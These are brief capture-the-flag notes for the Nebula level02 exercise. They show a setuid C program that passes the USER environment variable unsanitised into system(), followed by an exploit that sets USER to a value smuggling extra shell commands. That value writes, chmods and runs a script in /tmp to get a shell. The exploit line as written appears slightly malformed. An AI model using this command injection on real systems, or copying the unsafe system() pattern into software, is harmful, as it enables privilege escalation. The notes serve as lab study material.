ExploitExercises_Nebula_Level02

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>

int main(int argc, char **argv, char **envp)
{
char *buffer;

gid_t gid;
uid_t uid;

gid = getegid();
uid = geteuid();

setresgid(gid, gid, gid);
setresuid(uid, uid, uid);

buffer = NULL;

asprintf(&buffer, "/bin/echo %s is cool", getenv("USER"));
printf("about to call system(\"%s\")\n", buffer);

system(buffer);
}

about to call system("/bin/echo level02 is cool")
level02 is cool

export USER = '-e "bin/bash" > /tmp/abc; chmod +x /tmp/abc; /tmp/abc is cool'

/bin/echo -e "bin/bash" > /tmp/abc; chmod +x /tmp/abc; /tmp/abc is cool